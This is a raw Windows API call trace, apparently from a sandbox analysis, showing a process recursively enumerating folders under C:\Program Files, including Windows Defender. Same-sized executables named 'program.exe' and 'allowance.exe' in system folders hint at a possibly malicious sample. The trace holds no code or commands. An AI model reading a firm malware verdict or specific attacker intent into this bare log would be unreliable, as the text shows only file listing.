	[0258.008] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x421dcf0 | out: hHeap=0x4a0000) returned 1
	[0258.008] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1
	[0258.009] FindClose (in: hFindFile=0x41b2590 | out: hFindFile=0x41b2590) returned 1
	[0258.009] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x420dce8 | out: hHeap=0x4a0000) returned 1
	[0258.009] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0258.009] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0258.009] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0258.009] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0
	[0258.009] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0258.009] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41e1cd0 | out: hHeap=0x4a0000) returned 1
	[0258.009] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0258.009] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0258.009] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
	[0258.009] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1
	[0258.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0258.010] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.010] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0258.010] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0258.010] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
	[0258.010] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91c40a0, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91c40a0, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1
	[0258.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91c40a0, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91c40a0, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0258.011] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91c40a0, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91c40a0, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.011] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0258.011] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0258.011] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.011] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1
	[0258.011] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0258.012] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41e1cd0 | out: hHeap=0x4a0000) returned 1
	[0258.012] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1
	[0258.012] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0258.012] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
	[0258.012] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1
	[0258.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2310
	[0258.128] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.128] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0258.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0258.158] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.158] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1
	[0258.158] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0258.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0258.159] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1
	[0258.160] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0258.161] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.162] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1
	[0258.284] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0258.285] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.285] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1
	[0258.285] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0258.285] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
	[0258.285] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1
	[0258.285] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0258.285] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
	[0258.285] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf9177de0, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf9177de0, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0258.285] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf9177de0, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf9177de0, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0258.286] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf9177de0, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf9177de0, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.286] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84174220, ftCreationTime.dwHighDateTime=0x1d4d461, ftLastAccessTime.dwLowDateTime=0xe129ff10, ftLastAccessTime.dwHighDateTime=0x1d53015, ftLastWriteTime.dwLowDateTime=0xe129ff10, ftLastWriteTime.dwHighDateTime=0x1d53015, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="program.exe", cAlternateFileName="")) returned 1
	[0258.286] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0258.286] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
	[0258.286] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0258.286] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0258.295] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.295] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7b4370, ftCreationTime.dwHighDateTime=0x1d4c8cc, ftLastAccessTime.dwLowDateTime=0x199561a0, ftLastAccessTime.dwHighDateTime=0x1d4bff5, ftLastWriteTime.dwLowDateTime=0x199561a0, ftLastWriteTime.dwHighDateTime=0x1d4bff5, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="allowance.exe", cAlternateFileName="ALLOWA~1.EXE")) returned 1
	[0258.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0258.295] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.295] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1
	[0258.296] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0258.296] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
